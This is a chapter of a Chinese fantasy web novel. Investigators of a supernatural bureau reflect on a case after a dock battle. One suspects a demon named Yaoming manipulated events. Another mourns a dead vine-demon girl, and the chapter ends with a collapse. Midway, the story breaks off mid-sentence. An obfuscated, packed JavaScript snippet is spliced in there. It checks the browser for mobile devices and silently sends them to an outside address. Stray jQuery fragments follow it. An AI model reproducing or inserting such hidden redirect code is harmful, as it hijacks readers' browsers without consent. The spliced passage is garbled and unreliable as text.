默认冷灰
24号文字
方正启体

30. 尾声

作者:梦拾遗本书字数:K更新时间:
    “李星路死了。”


    徐培风挂断电话,叹了口气。


    “昨晚你们把他从码头带回来,之后他就出现了多器官衰竭症状,医研中心那边刚刚宣布抢救无效。”徐培风摇了摇头:“之前他说那个组织在他们身上下了禁制,若胆敢泄密便会立即要命,估计是被骗了,那个组织想让他们什么时候死便什么时候死。这些人自以为找到了发财捷径,岂知是与虎谋皮。”


    在他对面,周纬整个人“塌”进了椅子里,眉目低垂,有一搭没一搭地听着,心思却像是早就飘远了。


    徐培风扫了他一眼,终于看不下去了,握起拳头重重地咳了一声。


    周纬被这声响惊动了,这才抬起头来。


    他脸上还残留着大战过后的余韵,面色苍白,眼珠黑沉,整个人坐姿是绵软的,精气神却凝而不散,一眼看上去沉静苍郁,几乎令人心悸。


    他魂环道:“我刚才在想,既然那个组织早就可以杀李星路,为什么又要大费周章,搞码头设伏这一套。”


    他的声调有些发虚,像是气力不济似的,话需得拆开分两段才能说全:“杀李星路是为了灭口,防止他吐露出更多关于组织的秘密,但为了杀一个生死本就在股掌之中的人,搞出那么大的动静,这简直是南辕北辙,适得其反……我想了一夜,也想不通组织这么做有什么好处。”


    “除非……”他轻声道:“这不是那个组织的手笔。”


    徐培风瞥他一眼:“你什么意思?”


    周纬人坐在椅子里,指尖相对,浑身上下都静得出奇。他好像进入了一种“节能模式”,只有“脑子”和“喉咙”两个器官还在运作:“昨晚从新莲码头回来之后,我仔细疏离了一下这起案子,越想越感觉,自始至终,我们异监局在这出戏里都是个配角。”


    “最初是爱丽舍杀人案,薛青青杀了马宏昇,引我们入局。薛青青固然只是为了替薛爱梅报仇,可这起案子却引出了一个关键性证据——那个加密U盘。”


    “加密U盘的存在引出了李星路,虽然没能从他嘴里得到切实证据,但我猜那起公路袭击案应该也是他策划的。以他的对组织的恐惧,估计是想在组织知道灵器黑货一事已经泄密之前掐断所有线索,把所有相关知情者灭口,把这件事遮掩下来。”


    “为了不泄密,李星路在盘山公路上袭击了带着加密U盘的我们,又在夜市策划袭杀薛青青,这两件事导致他跟我们异监局起了直接冲突。但这里有两个疑点,就是李星路应该并不知道加密U盘里面具体有什么内容。那么他又是怎么知道会有这么一个可能暴露他们黑暗勾当的U盘的?又是谁告诉他薛青青藏在夜市里的?”


    “最后,就是码头袭击案。”周纬最后缓缓呼出一口气:“为了杀一个李星路,炸毁了半个新莲码头……我实在想不出哪个脑回路正常的人会办出这种蠢事。除非他们的目标从一开始,就不是李星路。”


    饶是以徐培风向来八风不动的定力,也禁不住被周纬这一通分析惊出一身冷汗:“你的意思是……”


    “爱丽舍杀人案里,薛青青本可以悄无声息地杀死马宏昇,却偏偏把尸体摆成了个行为艺术,引来了我们异监局;后来又有人在信息科和网警的层层封锁下把现场照片发在了网上,差点引起舆情危机。”周纬轻声道:“这种‘小事化大’的风格,是不是跟码头袭击案……有点像呢?”


    “马宏昇一死,李星路就得知了加密U盘的存在,如果是有人打草惊蛇,故意透露给他的呢?如果有人为了能让他跟异监局正面对上,而特意挑了我跟李默潜入夜市的日子,把薛青青的位置告诉了李星路呢?”


    “这起案子从都到尾,都有一直无形的手在背后操盘,先是引我们入局,又千方百计地把李星路和背后的组织往我们面前推,就像准备好了火药和火星,只差一条引信——”


    “……鹬蚌相争,渔翁得利。”


    周纬低低地叹了一声:“徐局,我怀疑,这一系列的案子都是为了挑起组织和我们之间的战争。有人想对付那个神秘组织,把我们异监局当枪使。”


    徐培风倒吸一口凉气。


    然而周纬神色却十分淡然。不仅淡然,他那白得毫无血色的面颊还浮起了一层寒冰似的笑意,像是往脸上扣了个冰霜般的空壳。


    “‘好先生’么……”他自言自语般说了一句:“一个妖类,真的能算无遗策到这种程度么?”


    “那个所谓‘好先生’的真实身份,局里已经查到了。”徐培风递过来一份资料:“他在杀薛青青时暴露了自己的妖力,被‘烛照’系统捕获。他真名叫‘夭冥’,本体是一只蛊雕,A级,二十年前就上了总部的通缉名单。据说他杀人不分凡人、灵力者或是妖类,但只杀女人……可惜了那个小藤妖。”


    听到“小藤妖”三个字,周纬的手指微不可察地一动。


    突如其来的,他那精密机械般运转的大脑里,有一个齿轮轻轻一滑,他的思维开了个小差。


    他想,李默在干什么呢?


    李默回到了凤凰山。


    上次来的时候还是傍晚,日影西沉,天幕如遮,山林里一片影影绰绰,幽深又寂静。这回却在午后,阳光柔和地透过树影,照出些许鲜嫩的绿色,斑驳地洒在山路上,显得格外静谧温柔。


    李默穿过层层密林,偶尔会有横斜的枝杈挂住他的衣服,他伸手拨开,突然发觉那枝桠上,冒出了一个嫩绿的芽孢来。


    他盯着那个芽孢看了半晌,反应过来,已经是初春了。


    大地复苏,万物生长。


    薛青青诞生时的那个藤蔓巢穴已经完全枯萎了。曾经数不清的藤蔓盘虬卧龙、蜿蜒纠结,或苍绿粗壮,或鲜嫩欲滴,但无一不是满目翠色。如今整个巢穴还维持着基本的形状,所有的藤蔓却都已经衰败凋零,变成了一片死气沉沉的枯黄,枝条和叶子全都垂落下来,偶尔一阵风过,就会碎成一堆干枯的齑粉。


    这个巢穴和其中所诞生的妖类一同死去了,所剩的只有这巨大而空洞的遗骸。


    李默默然垂首片刻,从怀里掏出了薛青青的妖核和那本残破的房产证。


    “我会替你把房子拿回来。”他像是在对着那妖核,又像是在对着死去的巢穴说话:“我这些年在异监局,也攒了一点钱,也许不太够直接买下那几间房子,但是我会去找张存义夫妇谈一下的。总有办法让他们听话,不用担心。”


    莹碧色的妖核光华流转,并不回答他。


    李默蹲下身,将妖核和房产证一起,埋进了一根粗壮的枯藤下面,用泥土压实了,又不放心地拍了拍。


    随后他轻轻抚摸了一下那枝枯藤,觉得自己似乎应该说点什么,但张了张口,却发现实在无话可说。


    还有什么可说的呢?春风过,夏雷落,过不了多久,这座死去的巢穴就会在时间的作用下腐败衰朽,在虫蛀鼠咬和雨雪沤浸之下化作一滩烂泥。埋在地下的那个残破的小红本也会随之腐烂,成为一堆毫无意义的废纸。


    就算房子能拿回来,还有什么意义呢?本应该在这里幸福生活的老人和少女都已经不在了。


    就连新的房产证做好,上面只能写上“李默”两个字——因为那个曾经怀揣着旧本视若珍宝的女孩,到死也没能在人类社会留下一个合法的名字。


    李默沉默半晌,最终还是开了口:“对不起。”


    巢穴的残骸以空洞破碎的眼瞳注视着他。


    李默最后拍了拍那即便死去也虬劲依旧的枯藤,就像他习惯性地抚摸少女的头顶那样,然后站起身来,最后看了那巢穴一眼,头也不回地朝山下走去。


    木系妖类的生命力是所有妖类中最顽强的。传说中有的木系妖类即使化形,也能在地底留存一部分真身。那是他们真正的根脉,与大地相连,生生不息、岁岁枯荣。只要根脉还在,他们总有重生的一天。


    野火烧不尽,春风吹又生。


    会是真的么?


    李默没有答案。他只是觉得,在自己有生之年,可能看不到这一天了。


    妖类寿命漫长,却不是无穷无尽。也许千百年之后,天地造化有灵,还会眷顾这片钟灵毓秀之地。到那时山清水碧,莺飞燕舞,花木欣欣向荣,沉睡在黑暗地底的种子也许会再一次破土而出,向着这曾经辜负她的世间,重新探出幼嫩的、懵懂的枝芽。


    那也许便是她,原谅了自己的时候了。


    “你说夭冥是为了针对那个组织,所以利用了异监局,有这个可能。”徐培风道:“夭冥毕竟是个妖类,那个组织大肆捕杀妖类炼制灵器牟利,无意中招惹了夭冥,这也是有可能的。”


    周纬没有说话,只是缓缓摇了摇头。


    一个罪行累累、血案无数,二十年前就上了异监局“红名通缉榜”的妖类,会因为区区一点“物伤其类”的同理心,就布下这么大一个局吗?


    那他还真是低估了这些通缉妖犯的道德水准。


    “我不觉得夭冥是一个人布下的这个局。”周纬像是有点冷似的,又把自己往椅子里缩了缩:“他看起来不像是会动用舆论力量,扩大案件影响的那种妖类……他背后可能还有别的势力。”


    徐培风冷笑:“两大势力角力,拿我们异监局当枪使?好大的胆子!”


    他顿了顿,语气又缓和下来,眉宇间涌上一丝忧虑:“不过码头一战后,灵器黑货这桩案子的影响力恐怕会进一步扩大,肯定会惊动总部。与其等总部下来问询,不如我们自己向上汇报,也能挣得一丝主动权。”


    周纬想起了他说的要亲自前往总部的事:“您已经决定了?”


    “决定了,等过两天案件报告写完我就动身。”徐培风苦笑道:“真不想去总部跟他们打嘴仗啊。”


    周纬沉吟片刻:“总部那边……现在是什么形势?”


    “还是那样,执行局和管理局一个激进一个保守,技术局持中端水和稀泥。”徐培风叹道:“这么多年来,执行局的外勤干员一直是总部的中流砥柱,一线监察员们在战斗中流血流汗,回来说话自然就硬气。他们常年和妖类交手,不知有多少同伴牺牲在妖类手上,对妖类有所仇视也是正常……只是近来总部也有了一些别的声音,说是管理局的人故意激化两族矛盾,制造不必要的纷争,从而巩固自己的地位。”


    “诛心么?”周纬冷笑一声:“我们在前面打生打死,也没妨碍这些人高高在上搞西装政治。”


    徐培风瞥了他一眼,没有对他这番堪称刻薄的话做出评价,而是接着道:“特委会这次修订《监察法》,估计会成为执行局和管理局两派交锋的焦点。这个节骨眼上大家都不想出岔子,势必格外谨慎小心。我这一去不知要多久才能回来,局里的事我会交给老赵,你们也都不要轻举妄动,别再惹出什么事端来。”


    周纬看了看他,突然道:“这次灵器黑货案如果曝光,对执行局那边将会是一次重大打击,对么?”


    徐培风不言,算是默认了这个说法。


    想来也是。妖类被大规模虐杀、炼制灵器以牟取暴利,会出现这种事,归根究底还是因为《监察法》不保护未经登记注册的妖类。执行局虽然敌视妖类,但灵器黑货泛滥却也不是他们想见到的。《监察法》显而易见的存在漏洞,导致了这么大的案子,总部执行局那些人这次算是搬起石头砸了自己的脚,一旦被管理局抓住把柄,必定会借题发挥大做文章。


    这么一看,徐培风此去,相当于怀揣着一枚能够左右天平的重量级砝码。


    难怪他会说自己“不知多久才能回来”。


    周纬沉默片刻,突然道:“徐叔,您觉得《监察法》该修改么?”


    他用的称呼不是“徐局”,而是“徐叔”——这是个不该在正式谈话场合出现的私人称谓。徐培风居高临下地看了他一眼。这一眼,仿佛就把周纬看透了。


    只听他低声叹道:“我明白你的意思,但是小纬啊,你要明白,有的时候很多事凭借一腔意气是不行的。平衡各方,顾全大局,这才是长久之道。”


    周纬一言不发地偏过头去,看着窗外。


    其实按照他的性格应该是要争辩的。只是也许是外面天色渐暗,也许是他一场大战之后到现在还未休息,身心都无比疲倦,也许只是因为他刚刚听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091622|195446||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了满耳朵总部权力斗争的糟心话,觉得很没意思……总之,他感觉心里有一团热气在不断地往外流,已经不想再开口了。


    那副像是“出场设置”一样的伶牙俐齿头一回失了声。周纬扭头看着窗外的日暮寒鸦,心想,真他妈的冷。


    “你也得早做准备。”徐培风看了看他那副样子,也有些心疼,语气也软了些:“你当你们在珑湖就没事了么?我听说昨晚在码头上,你擅自给李默解开了灵枷?”


    周纬没应声,依然看着窗外,给了他一个不置可否的后脑勺。


    徐培风叹道:“擅自解封灵枷不是小事,总部可能会拿这个做文章,你……你自己心里有数吧。”


    办公室里寂静片刻。半晌,周纬突然撑着椅子,站了起来。


    “让他们来查吧。”他垂下眼睛,漠然道:“我接着。”


    “你这孩子……”徐培风又心疼又头疼,看周纬不欲再谈,只得叹了一声:“好吧,你先回去,这个案子办下来,你的消耗也不小。先不要想其他的事了,回去歇一歇。”


    周纬已经走到了门口,握住了门把手,脚步却一顿。


    “我不回去。”他道:“我等个人。”


    直到金乌西坠,周纬才等到李默回来。


    他独自在办公室里等,没打电话也没发消息,仿佛冥冥之中十分笃定,李默一定会回到市局来一样。不到二十四小时,他先是指挥了一场大战,之后又忙着各种善后,清理现场、救治伤员,向局里汇报情况,还得跟徐培风打各种关于总部勾心斗角的机锋……说不累是假的。


    他在办公室里等得神智昏沉,迷迷糊糊感觉自己好像已经睡过去了,却又一直睡不沉,一颗心吊悬在半空中,还没放下来。


    不知过了多久,“咔哒”一声轻响,周纬撑着脑袋的手肘一滑,他像是一步踏空,心里猛然向下一坠,蓦然抬起头来。


    李默的身影出现在办公室门口,影影绰绰地说了句:“……周队。”


    周纬瞪着眼睛看了他半晌。也许是他刚从昏睡中惊醒,神经还没接上,他蓦然发现李默的身影居然出现在了重影,声音也忽远忽近的。他按着脑袋,狠狠甩了两下,眼前这才恢复正常:“唔……你回来了……对,我正在等你,坐吧。”


    李默在他对面坐了下来。周纬道:“你去哪里了?”


    李默:“我去了凤凰山。”


    周纬的话音一滞。


    他没有问李默去凤凰山干了什么,又看到了什么。薛青青的下场他已经见到了,变成妖核的妖类是无论如何也不可能再回来的,问也没用。


    他顿了顿,低头从抽屉里拿出来那份徐培风给的资料,朝李默推了过去:“这就是那个‘好先生’。”


    李默接过资料翻开,眼神在“夭冥”那两个字上停留了片刻,快速浏览了一遍之后就合上了,脸上没什么表情。


    周纬道:“你有什么打算?”


    李默简洁道:“杀了他。”


    他说的是“杀了他”而不是“抓到他”。


    周纬深深地看了李默片刻,随即点了点头:“……好。”


    他顿了顿,突然又道:“薛青青的死,是我的责任。”


    “从她说‘好先生’没有告诉她夜市不得动武的时候起,我就意识到,这个‘好先生’对薛青青没什么善意,只是利用她当个棋子。你提出让薛青青加入异监局,这不会是他想要看到的,因为我们很可能从薛青青这里挖到关于他的一些线索,对他来说有暴露的危险。对于夭冥来说,棋子最好的下场自然是用完即弃,杀人灭口……他把薛青青送到夜市,估计就是打的这个主意。”


    “我本来应该有所警惕的……却忘了提醒你们。”周纬低声道:“对不起。”


    “不。”李默却突然道:“他是冲我来的。”


    周纬一愣。


    “他想要杀薛青青,随时都可以杀,却特意把她引到新莲码头,送到我面前来,让我看着她死。我知道他是冲着我来的,他在向我挑衅。”李默双眸微垂,声音缓慢低沉:“而且……是我提出让薛青青加入异监局,为此她才会解开‘李代桃僵’之术,召集自己的所有分身……如果不是这样,她也不会死。”


    他深吸一口气:“所以她的死,是我的责任。”


    周纬停顿片刻,问道:“你认识那个夭冥吗?”


    “不认识,我也不知道他为什么要针对我。”李默缓缓摇了摇头,随即却又抬起头来。办公室顶灯白炽的光芒落下,他的脸在灯光下呈现出一种坚硬的色泽。


    他轻声道:“没关系,我记住了他的妖力,下次见面就可以知道了。”


    周纬抬头看他。李默那件从不离身的黑色大衣像是像是从门外携来了一片夜色般,浓重到化不开,哪怕待在温暖的室内,也带给人一片心悸的沉重和寒凉。


    半晌,他终于点了点头道:“……会有机会的。”


    眼前的灯光又开始摇曳起来,晃成了一大片大大小小的光斑。周纬突然有些恍惚,心想:“还有什么事来着?”


    好像还有件事,他得跟李默说一下……是什么来着?


    他人在椅子上,轻轻地摇晃了一下。李默察觉到了,倏然一愣:“周队,你怎么了?”


    周纬没听见。


    他的耳畔突然响起了一阵细细的嗡鸣,把周边的声音拉得忽远忽近。周纬模模糊糊地抬头,看见李默站起身,朝他走了过来,伸出双手,像是想要扶他。


    “哦对,想起来了。”他恍然地想。


    他双手撑在椅子扶手上,吃力地支起身子站了起来,脸上似乎想要露出一个宽慰般的微笑:“李默,这次码头大战,我们的监察员虽然有人轻伤,但一个……一个重伤和死亡的都没有……这是你的……功劳……”


    “我代表市局……感谢你……”周纬艰难地转向那个应该是李默的模糊轮廓,心里想着应该给他鞠个躬。


    他微微低了低头,然后就着这个姿势,一头栽倒了下去。


    一口鲜血无知无觉地呛了出来,溅满了李默的衣襟。


    “周队!!!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)